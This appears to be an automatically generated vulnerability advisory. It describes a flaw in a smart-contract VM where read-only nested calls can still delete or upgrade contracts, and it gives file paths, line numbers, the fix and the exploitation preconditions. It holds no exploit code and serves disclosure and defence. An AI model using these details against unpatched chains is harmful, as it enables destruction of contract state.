The vulnerable code paths are in `kvm/vmhost/hostCore/execution.go`: `doExecContractDelete()` (lines 237, 246), `executeUpgrade()` (lines 792, 831), and `executeDelete()` (lines 839, 849) — none of which check `runtime.ReadOnly()` before performing state changes. The read-only entry point is `ExecuteReadOnlyWithTypedArguments()` in `kvm/vmhost/vmhooks/baseOps.go` (lines 2097, 2099), which sets read-only state but does not enforce it on downstream delete/upgrade dispatch. The output merge in `kvm/vmhost/contexts/output.go` (`PopMergeActiveState` at line 103, `mergeVMOutputs` at line 615) propagates `DeletedAccounts` into the parent output, and `core/process/smartContract/process.go` (`processVMOutput` at lines 755, 765) commits those deletions to chain state.
What the fix does
The fix adds `runtime.ReadOnly()` guards at the `execute()` dispatch level and as defense-in-depth in `doExecContractDelete`, `executeUpgrade`, and `executeDelete` in `execution.go` [patch_id=1239026]. These guards reject execution when the runtime is in read-only mode, preventing state-changing side effects from being produced during read-only nested calls. The change is gated behind a new fork flag (`FixAuditChangesV2`) so pre-activation behavior remains bit-identical. Regression tests in `readonly_delete_test.go` and `readonly_invariants_test.go` cover delete, upgrade, storage writes, value transfers, log writes, and indirect deploys under read-only mode [patch_id=1239026].
Preconditions
- inputA contract workflow invokes a callee through KVM read-only execution (ExecuteReadOnlyWithTypedArguments).
- authThe read-only callee owns or satisfies the upgrade/delete permission checks for the target contract.
- configThe target contract is upgradeable/deletable according to its KVM code metadata.
Generated on May 21, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4News mentions
0No linked articles in our index yet.